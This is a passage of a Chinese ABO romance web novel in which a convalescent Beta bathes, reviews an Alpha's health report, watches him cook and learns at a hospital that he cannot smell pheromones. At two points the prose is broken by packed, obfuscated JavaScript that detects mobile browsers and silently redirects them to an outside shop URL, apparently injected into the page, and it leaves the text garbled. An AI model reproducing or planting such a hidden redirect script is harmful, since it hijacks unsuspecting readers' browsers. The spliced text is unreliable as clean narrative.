他想起自己第一次忘了时间,煮得久,那可能这次确实没能煮熟。 严野客冷淡地“嗯”了一声。 “下次别做了。” 黎白榆摸了摸鼻子,乖乖低头。 他以为严野客是要说,以后还是别做菜了,继续喝糊糊吧。 结果下一秒,黎白榆却听对方道。 “你节日下厨,请了谁?” “哎?” 黎白榆没料想Alpha会问这个,他又思索了一会儿,才道。 “可能是同学或者……学长?这个记不太清楚了。” 这种和科研实验无关的细节,黎白榆能回想起来的就很少,而且非常模糊。 所以他对自己不记得严野客会做饭这件事,也没觉得奇怪。 毕竟两人不是同一专业,即使相处肯定也在课余时间。 “以后别请了。” 看起来就很寡言的男人,这时却又把方才刚说过的话意重复了一遍。 Alpha的声线依旧冷淡,薄凉的侧脸似乎比平日更少有温度。 “这种不领情的人,配不上你花费的时间。” 黎白榆:“……?” 他正有疑惑,却在这时听到了整点报时的轻声滴响。 黎白榆抬头看了一眼钟表,发现已经三点了。 “请问家里有防水套吗?”Beta轻轻在右臂上方比划了一下,“能遮住绷带的。” “我想去洗个澡。” 黎白榆之前就计划午后去冲洗一下。 虽然在医院时也会每天用毛巾简单擦洗,但到底还是不如洗澡来得舒服。 “有。” 严野客起身去拿,回来就把东西递给了他。 Alpha还帮黎白榆把身上其他仍有贴布的伤处,都仔细地缠护住了。 “谢谢。” 黎白榆轻声道谢,撑着沙发站了起来。 但他才刚起身,一旁帮完忙也没离开的男人忽然抬手,揽住了他的后腰。 黎白榆微微一怔,就见身前的Alpha俯下身来,抄过他的膝弯,眼看就要非常顺手地将他整个打横抱起来。 “不、不用的。”黎白榆忙拒绝。 他后知后觉地意识到,对方是又准备要帮忙。 “我自己去就可以,不用麻烦了!” 严野客动作微停,抬眸看他。 “你右手受伤了。” “没关系,”黎白榆解释,“我是左撇子。” 严野客淡淡:“我知道。” 黎白榆举起自己的左手,示意它很灵活。 “只是擦洗,没问题的。” 虽然一只手不方便,但小心一点就好了。 严野客没什么表情地看了他一会儿,如同审视。 半晌,男人才终于收回了揽在黎白榆腰间的修长手臂。 “有问题叫我。”他说。 Alpha把黎白榆送到浴室,又帮他拿好了换洗衣物才离开。 但严野客走了,黎白榆却没能彻底地松口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148754|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为他想起自己昏迷了一周有余,醒来时身上却完全没有黏腻的不适感。 再加上今天对方的态度如此自然熟练,黎白榆再傻也不可能没意识到,自己昏迷这么多天,擦洗身体一类的事大概都是对方来做的。 “……” 他沉默了一会儿,低下头,就见温热的水流已经稍稍没过了胸口。 智能浴缸的蓄水速度很快,黎白榆一垂眸就能看到自己光.裸的皮肤,和苍白瘦削的身体。 他并拢双手,慢慢把脸埋在了自己的掌心里。 天哪…… 全身都…… 水雾渐渐弥漫,空气朦胧温暖。 尽管看不到,黎白榆却觉得自己的指尖都要被脸颊给烧红了。 不是羞涩,而是懊恼。 因为和健实有力的严野客相比,黎白榆只觉自己瘦弱得实在太多。 对方可以轻易地帮自己全身擦洗,可要是换做黎白榆来动手,肯定擦五分钟就没力气。 也可能只有三分钟。 ……他实在太菜了。 黎白榆埋头灰心了一会儿,又很快地振作起来。 决定了,等病休养好了就去锻炼。 再抬起脸时,美丽的青年目光坚毅。 连贴在颊侧、微微打湿的柔软发丝,都像是在给他的面容打光,加blingbling的菱形星闪。 一定可以的! 搞科研一样需要强健结实的良好体魄。 想通之后,黎白榆就专心开始了洗澡。 他完全没觉得自己的想法有多么异于常人的特殊。 黎白榆的思路就是这样,他没有理由去理所当然地接受别人的付出,只觉得必须要回以同等的报酬。 Alpha看起来明显是不缺钱的,那他能回报的,自然就是相同的协助。 只是显然,两人目前的身形和体力差距都悬殊了一点。 黎白榆真诚地希望在对方遇到什么不方便、需要帮忙之前,自己能把身体练好。 到时,就可以及时地伸出援手。 可靠.jpg。 浴室外。 严野客并不知道有人在许愿他可以多平安几天。他垂眼,正在看面前的电脑。 花花绿绿的指数复杂纷乱,映在他薄薄的镜片上,却没能投落进Alpha墨暗如渊的眼睛。 单只蓝牙耳机的位置被换了一侧,挪到了未正对浴室的那个方向。 所以此时,尽管浴室中的人并没有出声叫他,严野客还是把所有的声响都听得非常清晰。 浴室内侧的门把手才刚刚被旋动,严野客就察觉了。 但一直等到了数秒之后,黎白榆已经走出来,严野客才抬眼淡漠地望了过去。 Beta穿的是严野客拿给他的换洗家居服,因为受伤不方便,衣服就只有一件,是垂到腿根下方的宽松款,没配裤装。 黎白榆拿着毛巾在擦头发,因为抬手的动作,那件家居服被牵提着更向上挪了一点。 将那双白皙颀长的腿也明晃晃地露显出了更多。 更包括了纤瘦秀挺的脚踝上,那点格外招眼的瑰然艳色。 洗完一次热水澡,踝骨上方的那颗浅痣再度诱生生地变红了。 黎白榆经过客厅,无意间抬眼,便对上了严野客的视线。 他怔了下。 怎么了? Alpha干嘛用那种大老板盯学生的眼神看他? 黎白榆下意识地朝身下看去,以为是自己不小心把水滴在了地板上,惹得主人不悦。 但他出来前已经把发尾擦干了,等浴室地面拖净后,还把拖鞋鞋底也吸过了水,理应不会弄脏才对。 地面果然光亮如新,黎白榆有点疑惑地抬头,谨慎地询问。 “有什么问题吗?” Alpha已经把视线收了回去,闻言才漠淡地看了他一眼,说。 “你的大腿外侧有一条浅窝。” 什么? 黎白榆偏头去看自己的腿侧。 随着动作,青年细韧的腰身微微偏挪,伸显出一点宽松睡衣都遮藏不住的美妙弧线。 而大腿外侧那一道微微凹陷下去的长长浅窝,也顿时愈发柔腻惹眼。 惊人的色气。 是生动的,鲜活的,动作翩然自如的黎白榆。 是昏迷时再贪妄百倍的奢想都不可能比拟。 黎白榆还在低头看,他在提醒下也发现了那道浅浅的腿窝。 自己从前都没注意过。 擦拭头发的动作因为分心而慢缓了许多,Beta边看边有些不解。 “有问题?” “没有。” 严野客敛回视线,波澜不兴,抬指轻敲了一下键盘。 “股四头肌的肌体线条,身体轻盈健康的标志。” 他敲键的力度并不算重,却好像比之前敲点桌面时的肌骨痒意更浓一分。 冷色的筋络在男人修长有力的指侧淡淡浮显,一下一下,青筋微搏。 但是听到“健康”这个词的黎白榆却像是被提醒了什么。 “对了,”他问严野客,“你最近觉得身体怎么样?” “?” 黎白榆继续问:“就是健康,还有体力方面,没什么大碍吧?” 他还记挂着自己暂时无法帮忙擦澡的事,希望Alpha的状态安稳,可以给自己一点时间。 黎白榆的目光非常诚恳,心意也格外真挚。只是,在这般的期待之下,被他注视着的男人沉默了许久,终于开口。 ——却是问他。 “这是质疑,还是暗示?” 7. 第 7 章 007 ……质疑? 黎白榆被这话问得愣了下,擦头发的动作一顿。 他是不是说错话了? “抱歉……” 黎白榆感觉自己的发问确实有些冒昧,虽然没有要质疑的意思,但他的确也算是目的不纯。 只考虑了自己想问清时间,却没细想Alpha是否会对此介意。 他正想更郑重地向人致歉,却听见严野客说。 “不用。” Alpha嗓音沉淡,似乎根本没想要他道歉。 “也不需要那么客气。” 严野客从沙发起身,走过来,在黎白榆身侧的橱柜前拉开顶层抽屉,从最上方抽出了一沓东西,抬手递给了他。 “这是我的体检报告,你想知道的都可以查。” 黎白榆更明显地愣了一下。 接着他又看到了严野客单手操作,在手机上把体检报告页的线上链接转发给了他。 体检同样是在三甲医院进行,链接还是从医院的官方小程序中分享过来的。 上个月才刚出的结果。 这也太……正式了。 黎白榆下意识地摇头,想说不用。 这毕竟是对方的隐私。 但严野客声线淡然。 “让你知情,是我的义务。” 黎白榆顿了顿,几秒之后,终于还是把体检报告册接了过来。 他之前就发现,严野客真的很有责任感。 这种性格,以后就算不做老师,肯定也会成为真·大老板。 而面前的Alpha看了看他,又问。 “头发需要帮忙吗?” 黎白榆忙说不用。 “我等下就去吹干。” 严野客低嗯了声,也没坚持。 他只道:“洗漱台左侧有吹风机的固定架。” 黎白榆抱着体检册回房间吹头发,他依言试了一下那个固定支架,发现真的可以解放双手,非常方便。 温热的暖风里,Beta把手上的潮气擦干净,才翻开了体检册。 这份报告册颇为厚实,看起来是真的非常全面。 黎白榆不是很清楚全套体检的呈现顺序,他翻过体检者的基本信息,发现后面的第一页就是传染病全项。 包括肝炎、HIV、HPV、幽门螺旋杆菌、支原体等等的全套筛查。 结果显示,Alpha的身体非常健康,没有携带任何具有传染性的病菌。 随后的检查呈现也很专业,每一页纸张的背景上都有浅而清晰的三甲医院名称水印。 不过黎白榆看着,还是生出了一点意外。 诶,体脂率也会查吗? 报告显示,严野客的体脂率13%。 一个非常优越的肌肉水准。 而在肌肉含量、骨骼密度等等一系列的数据下方,还有一行小字标注。 【体型:健美。综合数据优于97%同龄男性Alpha。(注:数据仅供参考)】 怎么还带比较的? 黎白榆摸了摸鼻尖,心想。 可能Alpha的好胜心都比较强吧。 报告册继续向后,还有整整三页的生殖科全套检查。 黎白榆非常礼貌地没有窥探,直接翻过去了。 接着是激素检查,这方面,严老板的结果同样很健康。 他的激素指标非常平稳,没有任何稀奇又泛滥的信息素紊乱、依赖、应激或者成.瘾综合征。 一个十足稳定的Alpha。 想到男人这些天来的举动,黎白榆只觉对方确实一直很稳重。 让人甚至完全想不出,他会有怎样明显的波动。 更不要说是什么出格的失态或放纵。 看完体检报告,黎白榆也终于确认,严野客的身体非常健康。 自己应当还有充裕的提升时间。 他还下了决心,准备向对方学习。 普遍数据而言,Alpha的身体素质会更强一些。 况且黎白榆之前就做好了日后多锻炼的决定。 至少体力要跟得上吧。 头发吹干,黎白榆将支架和洗漱台整理好,便去归还体检单。 刚从客卧出来,他就听到了门铃声。 是有人来送菜了。 黎白榆望了一眼,发现门外的来人穿着外送员的工作服。 送来的东西也不仅有之前Alpha定的蔬菜,还有一个硕大的泡沫箱。 门口的严野客将东西签收,黎白榆上去帮忙拎东西,问了一句体检册放回哪里。 单手托着泡沫箱的Alpha却没有把东西交给他,只朝橱柜抽屉示意了一下。 接着,他就去厨房处理食材了。 严野客并没有需要人帮忙的意思,但黎白榆关好抽屉之后,还是跟了过去。 他觉得人家主人辛苦忙碌,自己只闲着等吃也不太好。 不过黎白榆不知道Alpha的习惯,所以他还是提前问了一下。 “你做饭的时候,介意有人在旁边吗?” 有些大厨好像会觉得这样很烦。 严野客在拆泡沫箱,闻言看了他一眼。 “不介意。” 黎白榆雀跃了一点,虽然外表神色依然看不出来,但他眼睛里的薄光更亮了。 “那有什么我可以帮忙的吗?” 严野客又看了他一眼,才垂眸用割刀将泡沫箱划开。 拆完泡沫箱,男人洗了下手,从一旁蔬菜袋中取出一朵新鲜莲蓬,和一个小碗一起递给了Beta。 “剥下莲子。” “好。” 黎白榆开心得想回“收到”。 看得出,他对厨艺是真的很感兴趣。 黎白榆也去洗了手,回来就开始认真地拆莲蓬。 新鲜的莲子莹白生润,落入Beta皙长的指间,更生出一种清泠的美感。 不过在厨厅的另一边,画风却截然不同。 在门旁剥莲子的时候,黎白榆被隔壁的动静所吸引,也会抬头去看。 他看了就发现,Alpha下厨时,给人的观感其实非常特别。 出乎意料的,男人完全没有多少居家日常的温馨感。 严野客还穿着无翻领的冷灰色衬衫,只解开了腕侧的银色袖扣,他的侧脸漠淡,正面无波澜地处理着从箱中拿出的生鲜。 足有手掌长的肥美青虾在他手中生龙活虎地弹动着,看起来格外活跃生猛。 配着水槽中其他活虾弹撞的声音噗通作响,更听得人胆战心惊。 黎白榆看到那虾还长着一对靛蓝色的螯钳,威风赫赫,要是不小心被夹一下,肯定会很疼。 但只是“咔嗒”一声轻响,那尖长带刺的虾钳就连同细乱的虾须一起,被拿着厨房剪的Alpha一刀剪掉了。 接着,严野客又从虾头一刀剪开小口,径直去掉了胃囊。再掉转过来在虾尾对角剪缺,把一整条虾线直接挑取了出来。 一连串的动作极尽轻巧简捷,干脆利落。 黎白榆后知后觉地发现,对方处理完这一整只活虾的时间,自己手中的莲子才不过多剥出了一颗。 Alpha的下厨完全不像是常人设想中的温柔人夫,反而明晃晃地透显出行动者的冷静心狠。 会做饭的人常沾荤腥,其实很难真正和“温馨”、“贤淑”扯上多大关联。 这种处置活物的过程,看起来更是堪称冷血残忍。 处理完还在不时弓背弹跳的鲜虾,严野客又端过了一旁的蟹盆。 动作间,他的肩背线条在衬衫之下浮现得更为明显。 那些成人拳头大小的螃蟹似乎活力更为骇人,尽管每一只都被白绳结结实实地捆绑着,却还有螃蟹能从高高的冰冷水槽中攀爬上来。 然后就被正刷洗活蟹的严野客,直接用刷柄拨了回去。 黎白榆小小地吞了下口水。 从他的角度看严野客,Alpha面无表情,俊挺的侧脸更多出一种漠然的杀伐感。 而且今天的晚餐显然不止一个菜,除了生鲜,严野客也同步开了净水机,在泡洗蔬菜。 全餐备菜也需要统筹安排,这是一个多流程同步、繁复、却常会被人忽略或看轻其价值的过程。 但其实越是这种事情,却越能直观地体现出行动者的能力和性情。 至少在常年做实验的黎白榆看来,严野客的规划和统筹水平已经不能单用井井有条来形容。 他掐点掐得也太准了,简直效率管理大师。 而等黎白榆把剥好的莲子放到料理台上,又把泡沫箱之类的厨余垃圾帮忙清理出去之后。 他洗完手再回到厨房,就被一声重重的闷响给吓了一跳。 “砰!” 是严野客在剁筒骨。 黎白榆一眼就看到,案台上光泽柔润的鲜肉已经被切开,却还在微微突跳。 虽然知道是末梢神经的收缩,不过猛然看见,却还是挺容易让人吓到。 听到Beta进来,严野客抬眸看了他一眼,道。 “吵就去休息一会。” 黎白榆摇头,说不用。 严野客却没动,长指搭着剁骨刀。 “等下有油烟,嗓子会不舒服。” 黎白榆摸了摸鼻尖,到底还是听了Alpha的话。 他从厨房出来,先去把自己洗澡后换下的衣服从洗衣机中拿出,搭到阳台晾晒。 接着,青年又帮忙把客厅简单地归位收拾了一下。 黎白榆记得自己似乎一直有随手整理的习惯,不算洁癖,但东西整洁看着心情会更好一些。 不过他现在到底大病初愈,才只是这么简单的工作量,就让Beta又生出了疲倦感。 落地窗外的天空已经被染上了夕晖的晕色,黎白榆走过去,在没收起的轮椅上坐下来,椅背调松,微微靠倚了上去。 望着天际的余晖万丈,青年专注地看了一会儿瑰丽的落日。 没多久,他居然又睡了过去。 再醒来,鼻端已经满是勾人的香气。 黎白榆起身回头,就见室内已经亮了灯,餐厅的桌上也摆好了碗筷。 “醒了?” Alpha端着餐盘过来,似乎正巧刚做完晚餐。 “来吃饭。” 餐桌上的盘碟都比较精巧,餐品的份量看起来并不算多,但种类非常丰盛。 两个人的晚餐,居然做齐了三菜一汤。 所有黎白榆下午见过的鲜美食材,都已经被端盛在了餐席之中。 桌上有白灼罗氏虾,秃黄油水蒸蛋,清炒天绿香。 还有一盅粤省的省汤,玉米筒骨汤。 都是不会难消化的菜,清淡却格外鲜美。 粤省吃的原就是鲜香的本味,幼时在此处长大的人,更难抵御如此诱惑的美味。 鲜虾软弹多汁,虾头还有满满的膏黄,好吃到和冻虾仁完全不像是同一个物种。 现熬的秃黄油吊打所有蟹黄酱,铺在果冻似的金黄水蒸蛋上,和滑嫩的蒸蛋一起送进嘴里,鲜美到整个口鼻都回味生香。 清炒的天绿香非常脆嫩,满是时蔬的清香,完全没有丁点纤维感。 省汤就更不用说了,里面还加了黎白榆亲手剥的莲子,和鲜玉米一起煲煮得清甜生津。 黎白榆吃得比中午还要幸福,有着一种留子漂泊多年终于回家的十足快乐。 吃够了白人饭,才更能体会到家的味道有多好。 尤其是那道清炒的蔬菜,让黎白榆最为惊艳。 他都已经在考虑,开学前要买好天绿香的蔬菜罐头带走了。 黎白榆很喜欢吃蔬菜,不然也不会拿甘蓝芹菜去榨汁。 哪怕是很多人不爱的品种,他也能吃出独属于青蔬的鲜甜。 但黎白榆自己在学校时却很少这么做。 不是他不喜欢清炒,而是被划分为宿舍的楼栋统一规划,全都没有明火,只有四个一体的电蚊香炉,加温总是很慢。 用这种炉灶做菜根本不能叫炒,只能叫低温慢泡。往往食材的外面都塌软了,里面还是生的。 蔬菜做出来也都水唧唧的,毫无清新的菜香。 既然都要有水,黎白榆索性直接加水,打成糊糊喝。 反正都一样。 还更方便。 幸福饱餐的Beta专注地吃了好一会儿,才注意到桌对面的男人开始用餐。 他眨了眨眼,发现对方好像和中午一样。 都是先看着黎白榆吃,之后才会动筷。 黎白榆想了想,看了一眼碗里刚夹过来的胖头虾。 他戴着一次性手套,开始仔细地剥起了虾壳。 因为虾很新鲜,壳也好剥,薄薄的外壳都是半透明的。 但黎白榆对这种活物的处理一向不太擅长,一不小心就把虾尾给揪断了。 “……” 黎白榆端详了一下,有点丑,只好把这只原本想送给Alpha的虾留着自己吃。 他还准备再尝试剥一只,再接再厉。 而桌对面的男人望见他的动作,直接抬手,用公筷挟过大头虾,拿筷子剥了一只。 两秒钟都没到,膏肥肉嫩的鲜虾就被递过来,稳稳放在了黎白榆面前的碗碟里。 “……?!” 黎白榆微讶,他看到了对方夹虾,却连虾壳被划开的过程都没看清,就见到虾被剥好了。 “谢谢,我不用。”Beta忙道,“你做饭已经很辛苦了。” 他有些不好意思:“我本来想帮你剥一个的……” 严野客看着他,却说:“不辛苦。” “看你吃饭很愉快。” 黎白榆不解:“?” “因为你吃得很香。” 严野客把公筷放好,却没有立刻拿回自己的筷子,而是用长指轻慢地点了一下碗边。 他的嗓音依旧沉淡。 “给足充分的情绪回馈,做饭的人最喜欢。” 这样吗? 黎白榆其实有点能理解。 因为他也很喜欢做菜给别人吃。 但严野客的技术比他好太多了——这是事实,黎白榆不会偏私。 当然,也不会妄自菲薄。 他的糊糊和意大利面插热狗也挺好吃。 黎白榆又说了声“谢谢”。 厨子真好。 他心想。 真是全天下最有魅力的好心人。 但厨子还是不让他多吃。 只吃了一半的天绿香就被拿开了,换给Beta一只盛了靓汤的小碗。 黎白榆有点不舍,不过等喝完汤之后,还是停筷了。 其实黎白榆也有点意识到了,自己好像比较容易积食。 在学校里喝糊糊或者餐粉冲剂,都很容易定量。 但等换成吃菜时,就会有点拿不准。 况且他现在刚出院,肠胃还没完全恢复,更不能有过重的负担。 吃过晚饭,黎白榆又主动帮忙收拾了碗筷。 不过等他准备出去扔厨余垃圾时,却被严野客叫住了。 “放玄关吧,”Alpha说,“等下我会出去。” 这么晚了还要出去吗? 黎白榆有些意外,但也很有分寸感地没多问。 他还想去帮忙擦下餐桌,却也被对方制止了。 “你的手不能劳累太多。” 严野客微微皱眉。 Alpha的面容本就冷淡,皱眉时愈发肃色。 黎白榆没帮成忙,又被重新按回了落地窗旁。 不过很快,黎白榆就知道严野客为什么要出去了。 他看到Alpha把拆出来的蟹肉拿出去,放在了庭院里的墙边。 没多久,安静的墙角里忽然探出了一只毛绒绒的小脑袋。 居然是一只小白猫。 晚餐的秃黄油是Alpha用纯蟹黄熬制的,没混加一丁点蟹肉。 两个小盅水蒸蛋的一点点浇头,就拆了足足六只大闸蟹才够用。 所以吃起来才会那么饱满醇厚,鲜美浓郁。 六只大闸蟹的蟹肉晚餐没吃,饭后就被严野客撬壳剪腿,拆了满满一碗肉出来,拿去喂了猫。 黎白榆想到自己肠胃虚弱,但晚餐吃了海鲜也没有不舒服,就猜到除烹调方式之外,这大概也和Alpha对餐量的把控有关。 少吃一点,对肠胃就会没那么刺激。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14148755|150256||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 吃过晚饭已经这么久了,黎白榆的喉咙和胃腹都没有明显的不适感。 严主厨也太厉害了。 黎白榆觉得,对方很可能是什么厨神转世。 来普照留子。 流浪猫应该也可以叫留子。 黎白榆看了一会儿就发现,那只小猫应该是流浪猫,可能是从庭院外面钻进来的。 因为严野客并没有拿固定的餐碗,而是用大闸蟹的蟹盖当托盘,装着那些蟹肉放在了那儿。 而且放下之后,严野客就离开了。 那只小猫看起来也很谨慎,探头探脑地等了好一会儿,才轻盈灵巧地纵身一跳,跑到了食物旁边。 大闸蟹的蟹盖非常饱满,像一只自带弧边的小碗,看起来比巴掌脸的小猫脑袋还大一圈。 猫咪吃得很香,显然对蟹肉的味道非常满意。黎白榆眼看着那堆到冒尖尖的蟹肉一点点矮了下去。 小猫在吃的时候,也还在观察周围的动静,它偏头看过来时,恰好看到了窗边的黎白榆。 黎白榆眼中含笑,隔窗和它打了个招呼。 猫咪的动作先是顿了顿,过了一会儿才慢慢开始继续吃。吃的时候,它又朝这边看了几次。 黎白榆也一直温和地看着它。 等吃完,小猫舒展了一下身体,朝窗边张了张嘴。 房间隔音效果很好,黎白榆没听到声响,但猜到猫咪应该是叫了一声。 因为接下来,把蟹肉吃得一干二净的小白猫就跑了过来,在落地窗外用圆脑袋轻轻顶了一下玻璃。 隔空蹭了蹭窗边的青年之后,小猫才重新跑开了。 还不忘叼走了那枚圆圆胖胖的蟹盖大碗。 等扔完垃圾的严野客回来,黎白榆问起小白猫,Alpha果然道。 “是附近的流浪猫,不知什么时候跑来的。” Alpha说庭院的砖墙有小洞,稍大点的猫都进不来,只有这只瘦小又灵巧,偶尔就会钻进来。 “它好可爱。” 黎白榆感慨,又望向窗外,遥看着曾经出现在那里的毛绒团子。 许是他看窗外的时间有些久了,严野客神色沉凝,又淡淡地叫了他一声。 “时间不早了,早点休息。” 黎白榆点头应声:“好。” 一夜好眠,充实的美味似乎也促进了病后的睡眠。 第二天一早,黎白榆醒来,就接到了医院的电话。 麻医生叫他去复查。 原本说的是隔两天再去医院,黎白榆有些疑惑,但还是答应了。 反正他这些天也没什么要紧事。 不过因为日期突然提前,严野客却没能空出时间。 他今天原本预约了排号,要去海关查看两个人的行李进度。 回国时,两人的行李有一部分是船公司托运过来的,会比随身行李慢,现在还没有寄到。 黎白榆之前也时常这样,基本上是一些帮国内亲友带的东西,例如保健品或者学刊杂志一类,分量重,时间不急,发海运会便宜很多。 严野客原本还要陪黎白榆一起。 “先去医院,回来我再去海关。” “不用,”黎白榆不想对方这样来回辛劳,“海关的预约不能改时间,而且去医院还不知道什么时候回来,我自己去就好。” 他还说:“行李就拜托你了。” 严野客神情冷凝,沉默了一会儿,才没再坚持。 不过黎白榆出门时,还是严野客提前帮他叫了车。 走出院门,上车之前,黎白榆还看到了昨天的那只流浪小猫。 夜晚的光景不太清晰,现下天亮,黎白榆才发现,那是一只毛色雪白的长毛小猫。 罕见的是,它还是异瞳,一只眼睛是清澈的蓝,另一只则是灿亮的金黄色。 小猫抬头,也看到了黎白榆。黎白榆又像昨晚那样挥了挥手,和它打招呼。 白天再看,这只过分漂亮的猫咪显得更瘦小了。 小猫似乎也认出了他,安安静静地走近了两步。 但才刚靠近了一点,还没到黎白榆身边,小猫却突然弓背炸毛,尖尖地叫了一声,转身飞快地跑走了。 怎么……? 黎白榆不禁意外,他还回头看了看,自己身边并没有其他人出现。 小猫是在……怕什么? 没等黎白榆细想,出租车已经到了。 他只好先上了车。 这里距离医院不远,去复查或是换药都很方便。 十几分钟后,黎白榆就抵达了粤城一院。 他先挂号,去了麻医生的诊疗室。 不过此时麻医生不在,里面坐着另一位陌生的年轻医生,听黎白榆说复查,就接过了他的病历袋。 黎白榆刚进来时,年轻医生就皱了皱眉,翻了一页病历本,他更是直接表现出了不悦。 “把美瞳摘了。” 黎白榆一下没听懂:“什么?” “来医院检查怎么能戴美瞳?”医生继续皱眉,“身体都还没好利落。” 黎白榆解释:“我没有戴美瞳。” 医生狐疑:“那是隐形眼镜?隐形也不行。你刚出院,不能戴这种。” 黎白榆还是道:“没有。” 他什么都没戴。 年轻医生一愣,刚想继续问,门被推开,麻医生走了进来。 一进门,麻医生的脚步也顿了一下。 旋即,他就询问起了刚才的事,终于解除了这个误会。 “小黎没戴美瞳,他的眼睛一直这样。” 年轻医生顿时尴尬起来:“对不起。我看你眼睛里水光这么亮,还是蓝色的,就以为……是我误会了,抱歉。” 黎白榆倒没介意。 “没关系。” 他的眼睛一向如此,似乎也不是第一次被这般询问了。 除了罕见的蓝瞳,黎白榆的眼眸还天生有水色。那种清润润的光点,也让他也不止一次地被误会过。 “是他太莽撞了。” 麻医生也敲点了一下年轻医生,等黎白榆摇头示意真的没事,才让年轻医生先出去了。 办公室内只剩下两人,麻医生接过黎白榆的病历袋,翻看了一会儿,沉吟片刻,才问。 “小黎,你醒来这几天,是不是从来没感知到过任何信息素?” 黎白榆:“对。” 麻医生又沉默了。 好一会儿,黎白榆才轻声问:“有什么问题吗?” 麻医生抬头,看着这个相貌过分惹眼、神情少有波澜的清冷青年。 他缓缓道:“那你知道,Beta是可以闻到信息素的吗?” 在ABO三种性别中,Beta没有腺体,无法释放信息素,也无法被标记。 但Beta同样拥有嗅觉受体神经元,因此能够感知信息素,并从中获取信息,受到信息素的影响。 就像Beta撞见发.情期的Omega会脸红,Beta在遇到Alpha释放出的高浓度信息素,也会产生不适,感觉到被压迫的威慑。 只不过,Beta不会像AO被影响得那么强烈罢了。 “我知道,”黎白榆说,“这是生理常识。” 他没忘掉。 “但检查显示,你完全没有对信息素的感知反应,”麻医生终是道,“而且你的神经系统没有其他问题。” “——所以我们怀疑,你可能患有信息素失嗅。” 在Beta中,会有极少数人天生就对信息素没有任何反应,连闻都无法闻到。 也不会受到信息素的任何影响。 他们被称为,信息素失嗅综合征群体。 “这样吗?” 黎白榆不禁开始思索,自己昏迷前对这件事知不知情。 青年还在认真回忆自己之前的感受,但麻医生看着他,却几乎已经能够当场确认。 事实上,从麻医生今天刚踏进办公室的大门,见到黎白榆时,就意识到他肯定闻不到信息素了。 因为Beta独自一人前来,带着一身过于浓烈的Alpha信息素味道,甚至给年轻的Beta医生都带来了直接窘促的冲击感—— 而黎白榆自己对此却毫无所觉,全然不知。 8. 第 8 章 008 刚才那位Beta医生的反应之所以会如此唐突,除了自身的问题,也是因为他骤然受到了浓度过高的Alpha信息素冲击。 麻医生看得很清楚,自己那学生毕竟还是年轻,接待病人时习惯以性别区分。在面对Beta患者时,潜意识里就会有些掉以轻心。 倘若当真是Alpha病人在这,可能反而不会有这么明显的影响。 “你有回想起一点失忆之前的相关情况吗?”麻医生问。 黎白榆还在思忖。 他前几天没闻到信息素也没在意,只以为是自己身体虚,或者严野客根本没释放。 至于出门在外,公开场合本就对信息素的释放有设限,医院内更是会要求严格。 而现在,得知自己闻不到,黎白榆的潜意识也没生出什么异样。 “我以前可能就知道这件事。” 况且,这种综合征还是天生的。 黎白榆记得在Beta群体中,信息素失嗅的发病率只有十万分之三,颇为罕见。 而且基本都是嗅神经系统的先天性问题,与后天受创丧失的表现有明显区分。 麻医生也解释说:“先天性失嗅不会有其他的并发症,如果不从事军、警、检之类的特殊职业,就影响不大。” 但这个病症还存在着一个问题。 “患有信息素失嗅的Beta,更有可能会二次分化。” “过往的案例数据表明,其二次分化为Omega的几率会显著上升。” 麻医生说完,诊疗室内的氛围仿佛就沉寂了下来。 他看着眼前的Beta,对方默然未语,似乎还在消化。 当前全球的人口统计中,ABO的性别比例大致为3:6:1。 其中Beta群体的数量最多,Alpha群体普遍精力体力更强盛,Omega群体则相貌最为出众。 虽然不是绝对如此,个体多有殊异。但从总体统计来说,大部分情况都是如此。 而黎白榆的长相,原本就很容易被误认成Omega。 假如他当真分化成O,恐怕会更惹人注目。 只是黎白榆沉默片刻,反应却不同于医生的设想。 他依然很平静,更显得眉目如水清冽。 Beta只是说:“我的年龄已经远超过二次分化的时间了吧。” 普通人的分化年龄一般在12岁,少数人会延迟分化或二次分化,但基本不会超过18岁。 “全世界范围内,最晚的分化案例也只有20岁,且那位案例个体罹患肾上腺皮质癌,激素分泌功能严重紊乱。” 黎白榆对自己的过往经历忘了个差不多,对这些研究数据记得倒是挺清楚。 “我现在已经二十三了。” 并且依然明明白白地是个Beta。 “是。” 麻医生果然认同了黎白榆说的这些话,他的提醒也不过是对患者的例行告知。 在征询黎白榆本人的同意之后,麻医生又调阅了一下他的过往病历,去查看有没有相关留痕。 如今档案联网,每个人的病历记录会被归总到一起。 不过这种档案肯定会有时间限制,而且各医院系统内部也没有完全互通,麻医生调阅时也只是抱着试一试的心态。 巧的是,黎白榆的病历档案还真查到了结果。 他当年恰好在粤城一院就诊过。 那时候,黎白榆才九岁。 而当时的病历已经有标明,在其中的特殊备注一栏就写着。 【据家属口述:病人患有信息素失嗅综合征。】 这下可以确认了。 黎白榆确实是天生无法感知任何信息素。 随后,麻医生就给黎白榆开了新的检查项目。 确认信息素失嗅,复查也需要更有针对性。 检查完,已经过去了小半天。 离开医院时,黎白榆正好又遇到手术完回来的麻医生,医生还问了他一句。 “要不要带个预警手环?”麻医生抬起自己的手腕转了转,向人示意,“以防身边的信息素过浓。” 虽然如果不从事特殊岗位的话,信息素失嗅对日常生活没什么影响。 但Beta们平时也会靠感知信息素来获取信息,从而规避相应的危险。 黎白榆摇了下头:“不用。” 麻医生“啧”了一声:“真的不用吗?” 他委婉地提醒。 “你身上还能闻到你男朋友信息素的气味,挺明显的。” 